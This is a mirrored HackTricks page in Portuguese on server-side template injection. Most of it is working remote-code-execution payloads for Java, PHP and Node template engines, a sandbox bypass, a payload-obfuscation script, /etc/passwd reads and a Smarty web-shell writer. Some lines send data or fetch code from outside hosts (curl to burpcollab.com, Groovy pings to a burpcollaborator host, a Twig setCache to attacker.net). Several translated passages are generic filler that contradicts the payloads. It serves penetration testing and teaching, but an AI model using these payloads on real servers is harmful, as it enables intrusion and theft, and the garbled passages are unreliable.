Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-28 07:31:10 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/ssti-server-side-template-injection/README.md

59 KiB
Raw Blame History

SSTI (Server Side Template Injection)

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

RootedCON é o evento de segurança cibernética mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e segurança cibernética em todas as disciplinas.

{% embed url="https://www.rootedcon.com/" %}

O que é a injeção de modelo no lado do servidor?

Uma injeção de modelo no lado do servidor ocorre quando um invasor é capaz de usar a sintaxe nativa do modelo para injetar uma carga maliciosa em um modelo, que é então executado no lado do servidor.

Motores de modelo são projetados para gerar páginas da web combinando modelos fixos com dados voláteis. Ataques de injeção de modelo no lado do servidor podem ocorrer quando a entrada do usuário é concatenada diretamente em um modelo, em vez de ser passada como dados. Isso permite que os invasores injetem diretivas de modelo arbitrárias para manipular o motor de modelo, muitas vezes permitindo que eles assumam controle completo do servidor.

Um exemplo de código vulnerável pode ser visto no seguinte trecho:

$output = $twig->render("Dear " . $_GET['name']);

No exemplo anterior, parte do template em si está sendo gerada dinamicamente usando o parâmetro GET chamado name. Como a sintaxe do template é avaliada no servidor, isso potencialmente permite que um atacante insira uma carga útil de injeção de template no lado do servidor dentro do parâmetro name, da seguinte forma:

http://vulnerable-website.com/?name={{bad-stuff-here}}

Construindo um ataque de injeção de modelo no lado do servidor

Detectar

Assim como qualquer vulnerabilidade, o primeiro passo para a exploração é ser capaz de encontrá-la. Talvez a abordagem inicial mais simples seja tentar fuzzar o modelo injetando uma sequência de caracteres especiais comumente usados em expressões de modelo, como o poliglota ${{<%[%'"}}%\.
Para verificar se o servidor é vulnerável, você deve observar as diferenças entre a resposta com dados regulares no parâmetro e a carga útil fornecida.
Se um erro for lançado, será bastante fácil descobrir que o servidor é vulnerável e até mesmo qual motor está sendo executado. Mas você também pode encontrar um servidor vulnerável se estiver esperando que ele reflita a carga útil fornecida e ela não estiver sendo refletida ou se houver alguns caracteres ausentes na resposta.

Detectar - Contexto de texto simples

A entrada fornecida está sendo renderizada e refletida na resposta. Isso pode ser facilmente confundido com uma vulnerabilidade XSS simples, mas é fácil diferenciar se você tentar definir operações matemáticas dentro de uma expressão de modelo:

{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
*{7*7}

Detectar - Contexto do código

Nesses casos, a entrada do usuário está sendo colocada dentro de uma expressão de modelo:

engine.render("Hello {{"+greeting+"}}", data)

O acesso à página pode ser feito através da URL: http://vulnerable-website.com/?greeting=data.username

Se você alterar o parâmetro greeting para um valor diferente, a resposta não conterá o nome de usuário, mas se você acessar algo como: http://vulnerable-website.com/?greeting=data.username}}hello, a resposta conterá o nome de usuário (se os caracteres de fechamento da expressão do modelo forem }}).
Se ocorrer um erro durante esses testes, será mais fácil identificar que o servidor é vulnerável.

Identificar

Depois de detectar o potencial de injeção de modelo, o próximo passo é identificar o mecanismo de modelo utilizado.
Embora existam muitas linguagens de modelo, muitas delas usam uma sintaxe muito semelhante, escolhida especificamente para não entrar em conflito com os caracteres HTML.

Se você tiver sorte, o servidor estará imprimindo os erros e você poderá encontrar o mecanismo utilizado dentro dos erros. Alguns payloads possíveis que podem causar erros:

${} {{}} <%= %>
${7/0} {{7/0}} <%= 7/0 %>
${foobar} {{foobar}} <%= foobar %>
${7*7} {{7*7}} ``

Caso contrário, você precisará testar manualmente diferentes payloads específicos da linguagem e estudar como eles são interpretados pelo mecanismo de modelo. Uma maneira comum de fazer isso é injetar operações matemáticas arbitrárias usando a sintaxe de diferentes mecanismos de modelo. Em seguida, você pode observar se eles são avaliados com sucesso. Para ajudar nesse processo, você pode usar uma árvore de decisão semelhante à seguinte:

Explorar

A primeira etapa após encontrar a injeção de modelo e identificar o mecanismo de modelo é ler a documentação. As áreas-chave de interesse são:

  • Seções 'Para Autores de Modelo' que abordam a sintaxe básica.
  • 'Considerações de Segurança' - é provável que quem desenvolveu o aplicativo que você está testando não tenha lido isso, e pode conter algumas dicas úteis.
  • Listas de métodos, funções, filtros e variáveis ​​internas.
  • Listas de extensões/plugins - alguns podem estar habilitados por padrão.

Assumindo que nenhum exploit tenha se apresentado, o próximo passo é explorar o ambiente para descobrir exatamente o que você tem acesso. Você pode esperar encontrar tanto objetos padrão fornecidos pelo mecanismo de modelo, quanto objetos específicos do aplicativo passados para o modelo pelo desenvolvedor. Muitos sistemas de modelo expõem um objeto 'self' ou namespace contendo tudo no escopo, e uma maneira idiomática de listar os atributos e métodos de um objeto.

Se não houver um objeto self incorporado, você terá que forçar nomes de variáveis usando SecLists e a coleção de wordlists do Burp Intruder.

Objetos fornecidos pelo desenvolvedor são particularmente propensos a conter informações sensíveis e podem variar entre diferentes modelos dentro de um aplicativo, portanto, esse processo deve ser aplicado idealmente a cada modelo distinto individualmente.

Ataque

Neste ponto, você deve ter uma ideia clara da superfície de ataque disponível e ser capaz de prosseguir com técnicas tradicionais de auditoria de segurança, revisando cada função em busca de vulnerabilidades exploráveis. É importante abordar isso no contexto do aplicativo como um todo - algumas funções podem ser usadas para explorar recursos específicos do aplicativo. Os exemplos a seguir usarão a injeção de modelo para acionar a criação arbitrária de objetos, leitura/gravação arbitrária de arquivos, inclusão remota de arquivos, divulgação de informações e escalonamento de privilégios.

Ferramentas

Tplmap

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Exploits

Genérico

Nesta lista de palavras você pode encontrar variáveis definidas nos ambientes de alguns dos motores mencionados abaixo:

Java

Java - Injeção básica

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}

Java - Recuperar as variáveis de ambiente do sistema

Neste exemplo, vamos explorar como recuperar as variáveis de ambiente do sistema usando Java. Isso pode ser útil durante um teste de penetração para obter informações sobre o ambiente de execução do servidor.

import java.util.Map;

public class EnvironmentVariables {
    public static void main(String[] args) {
        Map<String, String> env = System.getenv();
        for (String key : env.keySet()) {
            System.out.println(key + " = " + env.get(key));
        }
    }
}

O código acima usa a classe System do Java para acessar as variáveis de ambiente do sistema. A função getenv() retorna um mapa contendo todas as variáveis de ambiente e seus respectivos valores. Em seguida, percorremos o mapa e imprimimos cada chave e valor correspondente.

Ao executar esse código, você verá a lista completa das variáveis de ambiente do sistema, incluindo informações sensíveis, como senhas e chaves de API. É importante ter cuidado ao lidar com essas informações e garantir que elas não sejam expostas indevidamente.

${T(java.lang.System).getenv()}

Java - Recuperar /etc/passwd

A injeção de modelo no lado do servidor (SSTI - Server-Side Template Injection) é uma vulnerabilidade que permite a um invasor executar código arbitrário no servidor. Neste exemplo, vamos explorar uma vulnerabilidade de SSTI em um aplicativo Java para recuperar o arquivo /etc/passwd.

Pré-requisitos

  • Java Development Kit (JDK) instalado
  • Um ambiente de desenvolvimento Java, como o Eclipse ou o IntelliJ IDEA

Passo a passo

  1. Identifique a vulnerabilidade de SSTI no aplicativo Java. Isso pode ser feito por meio de análise de código ou testes de penetração.

  2. Localize o ponto de injeção de modelo no código-fonte do aplicativo. Isso geralmente ocorre quando o aplicativo usa um mecanismo de modelo que permite a inserção de código dinâmico.

  3. Crie um payload que execute o comando para recuperar o arquivo /etc/passwd. Por exemplo, em um mecanismo de modelo baseado em expressões, o payload pode ser algo como ${7*7}.

  4. Injete o payload no ponto de injeção de modelo no aplicativo. Isso pode ser feito por meio de entradas de usuário ou manipulação de solicitações.

  5. Execute o aplicativo e observe a resposta. Se o payload for executado com sucesso, você verá o conteúdo do arquivo /etc/passwd na resposta.

Medidas preventivas

Para evitar vulnerabilidades de SSTI em aplicativos Java, siga estas práticas recomendadas:

  • Utilize mecanismos de modelo seguros que não permitam a execução de código arbitrário.
  • Valide e sanitize todas as entradas de usuário antes de usá-las em expressões de modelo.
  • Mantenha seu aplicativo Java atualizado com as últimas correções de segurança.

Lembre-se de que a exploração de vulnerabilidades sem permissão é ilegal e deve ser realizada apenas em sistemas autorizados para fins de teste de penetração.

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Você pode testar suas cargas úteis em https://try.freemarker.apache.org

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legado)
  • ${7*'7'} Nada
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Bypass de Sandbox

⚠️ funciona apenas em versões do Freemarker abaixo de 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Mais informações

Velocity (Java)

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

Mais informações

Thymeleaf (Java)

A expressão de teste típica para SSTI é ${7*7}. Essa expressão também funciona no Thymeleaf. Se você deseja obter execução de código remoto, pode usar uma das seguintes expressões de teste:

  • SpringEL: ${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL: ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

No entanto, como mencionamos antes, as expressões só funcionam em atributos especiais do Thymeleaf. Se for necessário usar uma expressão em uma localização diferente no modelo, o Thymeleaf suporta inlining de expressão. Para usar esse recurso, você deve colocar uma expressão dentro de [[...]] ou [(...)] (selecione um ou outro dependendo se você precisa escapar de símbolos especiais). Portanto, uma carga útil simples de detecção de SSTI para o Thymeleaf seria [[${7*7}]].

No entanto, as chances de que a carga útil de detecção acima funcione são muito baixas. As vulnerabilidades de SSTI geralmente ocorrem quando um modelo é gerado dinamicamente no código. O Thymeleaf, por padrão, não permite a criação de modelos dinamicamente gerados e todos os modelos devem ser criados antecipadamente. Portanto, se um desenvolvedor quiser criar um modelo a partir de uma string na hora, eles precisariam criar seu próprio TemplateResolver. Isso é possível, mas acontece muito raramente.

Se olharmos mais a fundo na documentação do mecanismo de modelo do Thymeleaf, encontraremos um recurso interessante chamado pré-processamento de expressão. As expressões colocadas entre dois sublinhados duplos (__...__) são pré-processadas e o resultado do pré-processamento é usado como parte da expressão durante o processamento regular. Aqui está um exemplo oficial da documentação do Thymeleaf:

#{selection.__${sel.code}__}

Exemplo vulnerável

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Mais informações

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Framework Spring (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Burlar filtros

Múltiplas expressões de variáveis podem ser usadas, se ${...} não funcionar, tente #{...}, *{...}, @{...} ou ~{...}.

  • Ler /etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Script personalizado para geração de payload
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Mais Informações

Manipulação de Visualização do Spring (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Versão antiga do Pebble ( < versão 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Nova versão do Pebble:

{% raw %}
{% set cmd = 'id' %}
{% endraw %}


{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

O Jinjava é um mecanismo de modelo de servidor-side escrito em Java. Ele é usado para renderizar modelos de texto com base em expressões e lógica condicional. O Jinjava suporta a injeção de modelo do lado do servidor (SSTI), que é uma vulnerabilidade que permite a execução de código arbitrário no servidor.

Como funciona a injeção de modelo do lado do servidor (SSTI)

A injeção de modelo do lado do servidor ocorre quando um aplicativo web permite que os usuários insiram código de modelo em campos de entrada, que são posteriormente renderizados pelo servidor. Se o servidor não validar ou escapar corretamente esses campos de entrada, um atacante pode inserir código malicioso que será executado pelo servidor.

Explorando a injeção de modelo do lado do servidor (SSTI) com Jinjava

Para explorar a injeção de modelo do lado do servidor usando o Jinjava, você precisa encontrar um campo de entrada que seja renderizado pelo servidor sem validação ou escape adequados. Em seguida, você pode inserir código de modelo malicioso para executar comandos no servidor.

Prevenção da injeção de modelo do lado do servidor (SSTI)

Para prevenir a injeção de modelo do lado do servidor, é importante validar e escapar corretamente todos os campos de entrada que são renderizados pelo servidor. Além disso, é recomendável usar uma biblioteca de modelo segura que tenha recursos de segurança embutidos para evitar a execução de código malicioso.

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava é um projeto de código aberto desenvolvido pela Hubspot, disponível em https://github.com/HubSpot/jinjava/

Jinjava - Execução de Comandos

Corrigido por https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Mais informações

Hubspot - HuBL (Java)

  • Delimitadores de declaração {% %}
  • Delimitadores de expressão {{ }}
  • Delimitadores de comentário {# #}
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - "A"
  • {{'a'.concat('b')}} - "ab"
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Pesquise por "com.hubspot.content.hubl.context.TemplateContextRequest" e descubra o projeto Jinjava no Github.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the







{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Mais informações

Expression Language - EL (Java)

  • ${"aaaa"} - "aaaa"
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

EL fornece um mecanismo importante para permitir que a camada de apresentação (páginas da web) se comunique com a lógica da aplicação (beans gerenciados). O EL é usado por várias tecnologias JavaEE, como a tecnologia JavaServer Faces, a tecnologia JavaServer Pages (JSP) e a Injeção de Contextos e Dependências para Java EE (CDI).
Verifique a seguinte página para aprender mais sobre a exploração de interpretadores EL:

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Groovy (Java)

Este desvio do Security Manager foi retirado deste artigo.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

​​RootedCON é o evento de cibersegurança mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.

{% embed url="https://www.rootedcon.com/" %}

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Mais informações

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Erro
  • {{foobar}} Nada
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}

Twig - Formato de Template

Twig é um mecanismo de template popular usado em várias linguagens de programação, incluindo PHP. Ele fornece uma sintaxe simples e poderosa para criar templates dinâmicos. Neste guia, exploraremos a injeção de template do lado do servidor (SSTI) usando o Twig.

O que é a injeção de template do lado do servidor (SSTI)?

A injeção de template do lado do servidor (SSTI) é uma vulnerabilidade que ocorre quando um aplicativo web permite que um usuário insira código de template que é executado no servidor. Isso pode levar a ataques de execução remota de código (RCE), permitindo que um invasor execute comandos arbitrários no servidor.

Como funciona a injeção de template do lado do servidor (SSTI) com o Twig?

A injeção de template do lado do servidor (SSTI) com o Twig ocorre quando um aplicativo web usa o Twig para renderizar templates e permite que os usuários insiram código de template arbitrário. Isso geralmente acontece quando o aplicativo não valida ou filtra adequadamente as entradas do usuário antes de passá-las para o mecanismo de template.

Um exemplo comum de injeção de template do lado do servidor (SSTI) com o Twig é quando um aplicativo permite que os usuários insiram um nome de template que é usado para carregar e renderizar um arquivo de template. Se o aplicativo não validar ou filtrar corretamente o nome do template, um invasor pode inserir um nome de template malicioso que contém código de template malicioso. Esse código será executado no servidor, permitindo que o invasor execute comandos arbitrários.

Como explorar a injeção de template do lado do servidor (SSTI) com o Twig?

Para explorar a injeção de template do lado do servidor (SSTI) com o Twig, você precisa identificar pontos de entrada onde o código de template é inserido no aplicativo. Isso pode ser feito examinando o código-fonte do aplicativo ou usando ferramentas de análise de segurança.

Depois de identificar os pontos de entrada, você pode tentar inserir código de template malicioso para explorar a vulnerabilidade. Isso pode incluir a execução de comandos do sistema, acesso a arquivos sensíveis ou até mesmo a execução de código remoto.

Como prevenir a injeção de template do lado do servidor (SSTI) com o Twig?

Para prevenir a injeção de template do lado do servidor (SSTI) com o Twig, é importante seguir as práticas recomendadas de segurança, como:

  • Validar e filtrar adequadamente todas as entradas do usuário antes de passá-las para o mecanismo de template.
  • Usar um conjunto restrito de variáveis e funções disponíveis no contexto do template.
  • Limitar as permissões do usuário no servidor para minimizar o impacto de uma possível exploração.

Além disso, manter o Twig atualizado com as versões mais recentes também é importante, pois as atualizações podem corrigir vulnerabilidades conhecidas.

Conclusão

A injeção de template do lado do servidor (SSTI) com o Twig é uma vulnerabilidade séria que pode levar a ataques de execução remota de código (RCE). É importante entender como essa vulnerabilidade funciona e como preveni-la para garantir a segurança de seus aplicativos web.

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Mais informações

Plates (PHP)

Plates é inspirado no Twig, mas é um mecanismo de template PHP nativo em vez de um mecanismo de template compilado.

controlador:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

modelo de página:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

modelo de layout:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

PHPlib e HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB é o mesmo que PHPlib, mas portado para Pear.

authors.tpl

<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

Injeção de Template do Lado do Servidor (SSTI)

Descrição

Este diretório contém um exemplo de aplicação web vulnerável a ataques de Injeção de Template do Lado do Servidor (SSTI). A vulnerabilidade ocorre quando um aplicativo web permite que o usuário insira código de template que é executado no servidor.

O arquivo authors.php é um exemplo de página que exibe informações sobre autores de livros. Ele usa um mecanismo de template para renderizar os dados na página. No entanto, o aplicativo não valida ou filtra adequadamente as entradas do usuário, o que permite a injeção de código de template malicioso.

Exploração

Para explorar essa vulnerabilidade, você pode inserir código de template malicioso na entrada do parâmetro author na URL. O código de template será executado no servidor e poderá ser usado para executar comandos arbitrários, ler arquivos sensíveis ou realizar outras ações indesejadas.

Por exemplo, você pode tentar inserir o seguinte código de template na URL:

http://localhost/authors.php?author={{7*7}}

Isso resultará na exibição do resultado da expressão 7*7 na página.

Mitigação

Para mitigar essa vulnerabilidade, é importante validar e filtrar adequadamente as entradas do usuário antes de usá-las em um mecanismo de template. Isso pode ser feito usando bibliotecas ou frameworks que possuem recursos de segurança embutidos para evitar a execução de código malicioso.

Além disso, é recomendável manter todos os componentes do aplicativo web atualizados com as versões mais recentes, pois as atualizações frequentemente corrigem vulnerabilidades conhecidas.

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Jade (NodeJS)

O Jade é um mecanismo de modelo de servidor-side para NodeJS que permite a injeção de código no lado do servidor. Ele é usado para gerar HTML dinamicamente com base em modelos. No entanto, a injeção de modelo no lado do servidor pode levar a vulnerabilidades de injeção de código, como a injeção de modelo no lado do servidor (SSTI).

A injeção de modelo no lado do servidor ocorre quando um invasor consegue inserir código malicioso em um modelo que é posteriormente processado pelo servidor. Isso pode permitir que o invasor execute código arbitrário no servidor, o que pode levar a uma série de problemas de segurança, como vazamento de informações confidenciais, execução remota de código e comprometimento do servidor.

Para explorar uma vulnerabilidade de SSTI no Jade, um invasor precisa encontrar um ponto de injeção no modelo e inserir código malicioso. Isso pode ser feito através da manipulação de entradas do usuário ou da exploração de falhas de validação de entrada no código do aplicativo.

Para mitigar o risco de SSTI no Jade, é importante seguir as práticas recomendadas de segurança, como:

  • Validar e sanitizar todas as entradas do usuário antes de processá-las no modelo.
  • Evitar a execução de código arbitrário no servidor a partir do modelo.
  • Limitar as permissões do servidor para minimizar o impacto de uma possível exploração de SSTI.

